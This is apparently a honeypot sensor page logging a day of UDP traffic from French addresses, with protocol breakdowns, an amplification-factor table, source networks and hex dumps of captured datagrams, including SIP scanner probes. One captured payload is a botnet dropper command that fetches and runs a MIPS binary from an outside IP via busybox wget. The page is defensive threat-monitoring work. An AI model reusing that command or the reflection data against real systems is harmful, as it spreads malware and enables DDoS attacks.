UDP traffic

Datagrams matching country:FR sent to HoneyLabs sensors over UDP in the last 24 hours. DNS questions and QUIC client fingerprints are decoded on the sensor. Other datagrams are kept as their first bytes and labelled by protocol where it can be recognised.

A UDP source address can be forged, so each address listed here either sent the traffic or was impersonated by whoever did. UDP traffic is kept out of verdicts, feeds, watchlists and alerts.

Clear search

Datagrams

Source addresses

Networks

Countries

Destination ports

Traffic by type

Service queries

30 datagrams from 6 sources

Requests a service answers without a handshake. Scanners send them to find open DNS, NTP, SNMP or SSDP servers, which are also the servers reflection attacks abuse.

DNS 18 SNMP 8 NetBIOS 3 CLDAP 1

Latest DNS datagram, to 5353/udp

DNS query PTR _services._dns-sd._udp.local

payload bytes

00000000  00 00 01 00 00 01 00 00  00 00 00 00 09 5f 73 65  |............._se|
00000010  72 76 69 63 65 73 07 5f  64 6e 73 2d 73 64 04 5f  |rvices._dns-sd._|
00000020  75 64 70 05 6c 6f 63 61  6c 00 00 0c 00 01        |udp.local.....|

Other services

23 datagrams from 9 sources

First packets of sessions with VPN, voice, tunnelling, database and management services.

SIP 15 SOCKS5 4 XDMCP 2 Redis 2

Latest SIP datagram, to 5060/udp

OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 5.39.125.103:5073;branch=z9hG4bK-1243546859;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=303561666237383431336334013733393036383733 Accept: application/sdp User-Agent: MicroSIP To: "sipvicious"<sip:100@1.1.1.1> Contact: si

Payload bytes withheld: they contain the sensor's address.

Unrecognised

38 datagrams from 21 sources

Datagrams no decoder recognised. Their first bytes are kept.

Unrecognised 38

Latest Unrecognised datagram, to 11211/udp

5..](S0·d)·wagri{ydj9·

payload bytes

00000000  35 2e 2e 5d 28 53 30 07  00 02 64 29 1d 77 61 67  |5..](S0...d).wag|
00000010  72 69 7b 79 64 6a 39 bf  0f                       |ri{ydj9..|

Amplification checks

Probes for services that answer a small request with a much larger reply, the property reflection attacks rely on.

Service	Port	Datagrams	Sources	Factor
SNMPv2	161/udp	8	2	6.3
Memcached	11211/udp	4	2	10,000 to 51,000
DNS	53/udp	17	1	28 to 54
NetBIOS	137/udp	3	1	3.8
mDNS	5353/udp	1	1	2 to 10
RIPv1	520/udp	1	1	131.24
CLDAP	389/udp	1	1	56 to 70
SSDP	1900/udp	1	1	30.8

The factor is how many bytes a reachable server can send back for each byte it receives, as published by CISA in alert TA14-017A.

Destination ports

53/udp DNS17
5060/udp SIP16
161/udp SNMP8
8082/udp5
11211/udp Memcached4
137/udp NetBIOS3
1434/udp MSSQL Browser2
177/udp XDMCP2
8083/udp2
443/udp QUIC2
4000/udp2
8000/udp1

DNS questions

DNS record types

TXT16
ANY1
PTR1

Networks

AS12876 Scaleway SAS from 5 sources29
AS213412 ONYPHE SAS from 9 sources19
AS16276 OVH SAS from 4 sources16
AS198545 Flex Network Sarl from 1 source9
AS8399 SEWAN SAS from 1 source6
AS15557 Societe Francaise Du Radiotelephone - SF from 4 sources4
AS209334 Modat B.V. from 2 sources2
AS3215 Orange from 2 sources2
AS12322 Free SAS from 1 source2
AS5410 Bouygues Telecom SA from 1 source1

Countries

FR France91

Source addresses (unverified)

Address	Network	Cc	Sends	Datagrams	Last seen (UTC)
62.210.142.176	AS12876 Scaleway SAS	FR	DNS	17	2026-10-10 16:28
217.71.127.125	AS198545 Flex Network Sarl	FR	Unrecognised	9	2026-10-11 06:11
62.210.89.150	AS12876 Scaleway SAS	FR	Unrecognised	7	2026-10-11 04:40
88.213.233.230	AS8399 SEWAN SAS	FR	SNMP	6	2026-10-10 22:26
5.39.125.103	AS16276 OVH SAS	FR	SIP	6	2026-10-11 06:58
5.196.61.130	AS16276 OVH SAS	FR	SIP	5	2026-10-11 02:51
51.178.198.251	AS16276 OVH SAS	FR	SIP	4	2026-10-11 03:06
91.231.89.89	AS213412 ONYPHE SAS	FR	Unrecognised	3	2026-10-10 20:06
91.231.89.92	AS213412 ONYPHE SAS	FR	SNMP	3	2026-10-10 20:03
91.231.89.90	AS213412 ONYPHE SAS	FR	Unrecognised	3	2026-10-10 23:36
62.210.90.215	AS12876 Scaleway SAS	FR	NetBIOS	3	2026-10-11 00:37
91.231.89.88	AS213412 ONYPHE SAS	FR	CLDAP	2	2026-10-10 16:37
91.231.89.167	AS213412 ONYPHE SAS	FR	XDMCP	2	2026-10-10 13:08
91.231.89.91	AS213412 ONYPHE SAS	FR	Unrecognised	2	2026-10-11 00:28
91.231.89.93	AS213412 ONYPHE SAS	FR	Unrecognised	2	2026-10-10 23:33
88.171.16.122	AS12322 Free SAS	FR	SOCKS5	2	2026-10-11 06:14
81.65.144.190	AS15557 Societe Francaise Du Radiotelephone - SF	FR	Unrecognised	1	2026-10-10 19:36
93.9.232.249	AS15557 Societe Francaise Du Radiotelephone - SF	FR	Unrecognised	1	2026-10-10 09:31
85.217.140.11	AS209334 Modat B.V.	FR	Unrecognised	1	2026-10-10 11:38
91.231.89.160	AS213412 ONYPHE SAS	FR	Unrecognised	1	2026-10-10 23:49

Latest datagrams

2026-10-11 06:58:595.39.125.103to 5060/udpSIPFR
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 5.39.125.103:5073;branch=z9hG4bK-1243546859;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=3035616662373834313363340137333930363
Payload bytes withheld: they contain the sensor's address.

2026-10-11 06:14:2688.171.16.122to 47341/udpSOCKS5FR

·4Vx·

payload bytes

00000000  05 00 ff ff 00 fe fe fe  fe fd fd fd fd 12 34 56  |..............4V|
00000010  78 06 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |x...............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
... 512 bytes shown in part

2026-10-11 06:12:105.39.125.103to 5060/udpSIPFR
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 5.39.125.103:5077;branch=z9hG4bK-3100406201;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=3137356532356533313363340134313038313
Payload bytes withheld: they contain the sensor's address.

2026-10-11 06:11:06217.71.127.125to 11211/udpUnrecognisedFR

5..](S0·d)·wagri{ydj9·

payload bytes

00000000  35 2e 2e 5d 28 53 30 07  00 02 64 29 1d 77 61 67  |5..](S0...d).wag|
00000010  72 69 7b 79 64 6a 39 bf  0f                       |ri{ydj9..|

2026-10-11 05:56:1881.65.134.34to 27628/udpSOCKS5FR

·4Vx·

payload bytes

00000000  05 00 ff ff 00 fe fe fe  fe fd fd fd fd 12 34 56  |..............4V|
00000010  78 06 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |x...............|
00000020  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000040  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000050  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000060  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000080  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
00000090  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
000000f0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
... 512 bytes shown in part

2026-10-11 04:56:4237.65.161.46to 30958/udpUnrecognisedFR

·p·D·a!·=eD3Q·_

payload bytes

00000000  aa 91 03 70 8f a2 44 f0  ce 61 21 95 b4 0c d1 3d  |...p..D..a!....=|
00000010  65 44 33 51 16 c4 5f                              |eD3Q.._|

2026-10-11 04:40:2162.210.89.150to 8083/udpUnrecognisedFR

·.&6&]·Z'%·N6·l]·,4<Y*@·V·wiD·C·

payload bytes

00000000  13 2e 26 36 26 5d 05 5a  27 25 1f 00 0f 4e 36 1e  |..&6&].Z'%...N6.|
00000010  0b 07 6c 5d 0b 2c 34 3c  59 2a 40 1f 56 0b 77 69  |..l].,4<Y*@.V.wi|
00000020  44 1d 43 fe                                       |D.C.|

2026-10-11 04:06:4562.210.89.150to 8082/udpUnrecognisedFR

·.[b·K5T·1u·U4·^+·VNr,N z ·Tcda}·,2VCcKZ8·l·+omza·Hn·Ro'Zq·

payload bytes

00000000  00 2e 5b 62 0c 1a 1e 4b  35 54 17 31 75 17 55 34  |..[b...K5T.1u.U4|
00000010  11 5e 2b 03 56 4e 72 2c  4e 0d 7a 09 01 14 08 01  |.^+.VNr,N.z.....|
00000020  54 63 64 61 7d 02 2c 32  56 43 63 4b 5a 38 00 6c  |Tcda}.,2VCcKZ8.l|
00000030  17 2b 6f 6d 7a 61 19 48  6e 13 52 6f 27 5a 71 12  |.+omza.Hn.Ro'Zq.|
00000040  d3                                                |.|

2026-10-11 03:06:3751.178.198.251to 5060/udpSIPFR

REGISTER sip:chinamobile.com SIP/2.0 Via: SIP/2.0/UDP 51.178.198.251:4040;branch=z9hG4bK123 Max-Forwards: 70 From: <sip:me@chinamobile.com>;tag=12563 To: <sip:me@chinamobile.com> Call-ID: 3nPj9eW

payload bytes

00000000  52 45 47 49 53 54 45 52  20 73 69 70 3a 63 68 69  |REGISTER sip:chi|
00000010  6e 61 6d 6f 62 69 6c 65  2e 63 6f 6d 20 53 49 50  |namobile.com SIP|
00000020  2f 32 2e 30 0d 0a 56 69  61 3a 20 53 49 50 2f 32  |/2.0..Via: SIP/2|
00000030  2e 30 2f 55 44 50 20 35  31 2e 31 37 38 2e 31 39  |.0/UDP 51.178.19|
00000040  38 2e 32 35 31 3a 34 30  34 30 3b 62 72 61 6e 63  |8.251:4040;branc|
00000050  68 3d 7a 39 68 47 34 62  4b 31 32 33 0d 0a 4d 61  |h=z9hG4bK123..Ma|
00000060  78 2d 46 6f 72 77 61 72  64 73 3a 20 37 30 0d 0a  |x-Forwards: 70..|
00000070  46 72 6f 6d 3a 20 3c 73  69 70 3a 6d 65 40 63 68  |From: <sip:me@ch|
00000080  69 6e 61 6d 6f 62 69 6c  65 2e 63 6f 6d 3e 3b 74  |inamobile.com>;t|
00000090  61 67 3d 31 32 35 36 33  0d 0a 54 6f 3a 20 3c 73  |ag=12563..To: <s|
000000a0  69 70 3a 6d 65 40 63 68  69 6e 61 6d 6f 62 69 6c  |ip:me@chinamobil|
000000b0  65 2e 63 6f 6d 3e 0d 0a  43 61 6c 6c 2d 49 44 3a  |e.com>..Call-ID:|
000000c0  20 33 6e 50 6a 39 65 57  4f 76 46 6c 70 4d 48 6e  | 3nPj9eWOvFlpMHn|
000000d0  0d 0a 43 53 65 71 3a 20  31 20 52 45 47 49 53 54  |..CSeq: 1 REGIST|
000000e0  45 52 0d 0a 43 6f 6e 74  61 63 74 3a 20 3c 73 69  |ER..Contact: <si|
000000f0  70 3a 6d 65 40 35 31 2e  31 37 38 2e 31 39 38 2e  |p:me@51.178.198.|
... 440 bytes shown in part

2026-10-11 02:58:07163.172.53.219to 9034/udpUnrecognisedFR

orf; cd /tmp; rm -rf mipsel; /bin/busybox wget http://58.211.144.243:800/mipsel; chmod +x mipsel; ./mipsel realtek.selfrep; #

payload bytes

00000000  6f 72 66 3b 20 63 64 20  2f 74 6d 70 3b 20 72 6d  |orf; cd /tmp; rm|
00000010  20 2d 72 66 20 6d 69 70  73 65 6c 3b 20 2f 62 69  | -rf mipsel; /bi|
00000020  6e 2f 62 75 73 79 62 6f  78 20 77 67 65 74 20 68  |n/busybox wget h|
00000030  74 74 70 3a 2f 2f 35 38  2e 32 31 31 2e 31 34 34  |ttp://58.211.144|
00000040  2e 32 34 33 3a 38 30 30  2f 6d 69 70 73 65 6c 3b  |.243:800/mipsel;|
00000050  20 63 68 6d 6f 64 20 2b  78 20 6d 69 70 73 65 6c  | chmod +x mipsel|
00000060  3b 20 2e 2f 6d 69 70 73  65 6c 20 72 65 61 6c 74  |; ./mipsel realt|
00000070  65 6b 2e 73 65 6c 66 72  65 70 3b 20 23 0a        |ek.selfrep; #.|

2026-10-11 02:51:555.196.61.130to 5060/udpSIPFR
OPTIONS sip:100@<HONEYPOT> SIP/2.0 Via: SIP/2.0/UDP 5.196.61.130:5283;branch=z9hG4bK-3231253739;rport Content-Length: 0 From: "sipvicious"<sip:100@1.1.1.1>;tag=3035616662373834313363340134323537323
Payload bytes withheld: they contain the sensor's address.

2026-10-11 02:13:0462.210.89.150to 8082/udpUnrecognisedFR

&.oIF%·S16}?·1·BMv!K3VU;>>{·Rr4oa}5·8>·wA6 EyV;·!opv*.4&<·I

payload bytes

00000000  26 2e 6f 49 46 25 0b 53  31 36 7d 3f 03 31 11 04  |&.oIF%.S16}?.1..|
00000010  42 4d 76 21 4b 33 56 55  3b 3e 3e 7b 0e 52 72 34  |BMv!K3VU;>>{.Rr4|
00000020  6f 61 7d 35 07 08 08 38  3e 05 77 41 36 09 45 79  |oa}5...8>.wA6.Ey|
00000030  56 3b 1a 21 6f 70 76 2a  2e 34 26 3c 06 18 df 49  |V;.!opv*.4&<...I|

2026-10-11 01:31:3451.178.198.251to 5060/udpSIPFR

REGISTER sip:chinamobile.com SIP/2.0 Via: SIP/2.0/UDP 51.178.198.251:4040;branch=z9hG4bK123 Max-Forwards: 70 From: <sip:me@chinamobile.com>;tag=12563 To: <sip:me@chinamobile.com> Call-ID: I6kJoS2

payload bytes

00000000  52 45 47 49 53 54 45 52  20 73 69 70 3a 63 68 69  |REGISTER sip:chi|
00000010  6e 61 6d 6f 62 69 6c 65  2e 63 6f 6d 20 53 49 50  |namobile.com SIP|
00000020  2f 32 2e 30 0d 0a 56 69  61 3a 20 53 49 50 2f 32  |/2.0..Via: SIP/2|
00000030  2e 30 2f 55 44 50 20 35  31 2e 31 37 38 2e 31 39  |.0/UDP 51.178.19|
00000040  38 2e 32 35 31 3a 34 30  34 30 3b 62 72 61 6e 63  |8.251:4040;branc|
00000050  68 3d 7a 39 68 47 34 62  4b 31 32 33 0d 0a 4d 61  |h=z9hG4bK123..Ma|
00000060  78 2d 46 6f 72 77 61 72  64 73 3a 20 37 30 0d 0a  |x-Forwards: 70..|
00000070  46 72 6f 6d 3a 20 3c 73  69 70 3a 6d 65 40 63 68  |From: <sip:me@ch|
00000080  69 6e 61 6d 6f 62 69 6c  65 2e 63 6f 6d 3e 3b 74  |inamobile.com>;t|
00000090  61 67 3d 31 32 35 36 33  0d 0a 54 6f 3a 20 3c 73  |ag=12563..To: <s|
000000a0  69 70 3a 6d 65 40 63 68  69 6e 61 6d 6f 62 69 6c  |ip:me@chinamobil|
000000b0  65 2e 63 6f 6d 3e 0d 0a  43 61 6c 6c 2d 49 44 3a  |e.com>..Call-ID:|
000000c0  20 49 36 6b 4a 6f 53 32  4d 67 67 50 33 7a 6e 39  | I6kJoS2MggP3zn9|
000000d0  0d 0a 43 53 65 71 3a 20  31 20 52 45 47 49 53 54  |..CSeq: 1 REGIST|
000000e0  45 52 0d 0a 43 6f 6e 74  61 63 74 3a 20 3c 73 69  |ER..Contact: <si|
000000f0  70 3a 6d 65 40 35 31 2e  31 37 38 2e 31 39 38 2e  |p:me@51.178.198.|
... 440 bytes shown in part

2026-10-11 00:37:3462.210.90.215to 137/udpNetBIOSFR

NetBIOS node status query *

payload bytes

00000000  52 17 00 00 00 01 00 00  00 00 00 00 20 43 4b 41  |R........... CKA|
00000010  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|
00000020  41 41 41 41 41 41 41 41  41 41 41 41 41 00 00 21  |AAAAAAAAAAAAA..!|
00000030  00 01                                             |..|

2026-10-11 00:36:5162.210.89.150to 5060/udpUnrecognisedFR

].(Z·y· b2i^·R·mYz·k·%\;$O·F,5o·9h Fu·x^a·1`·IM_ChKH '·1v x"?g)xOI>EK6#,7T·>·Z·aBh*P·.·

payload bytes

00000000  5d 2e 28 5a 03 79 19 0d  0d 62 32 69 5e 08 52 7f  |].(Z.y...b2i^.R.|
00000010  05 18 6d 59 7a 1b 6b 05  25 5c 3b 24 4f 05 46 2c  |..mYz.k.%\;$O.F,|
00000020  35 6f 06 39 68 20 46 75  02 78 5e 61 01 31 60 06  |5o.9h Fu.x^a.1`.|
00000030  49 4d 5f 43 68 4b 48 0d  27 04 31 76 09 78 22 3f  |IM_ChKH.'.1v.x"?|
00000040  67 29 78 4f 49 3e 45 4b  36 23 2c 37 54 0c 3e 1e  |g)xOI>EK6#,7T.>.|
00000050  5a 1d 61 42 68 2a 50 0f  2e 01 86 ae              |Z.aBh*P.....|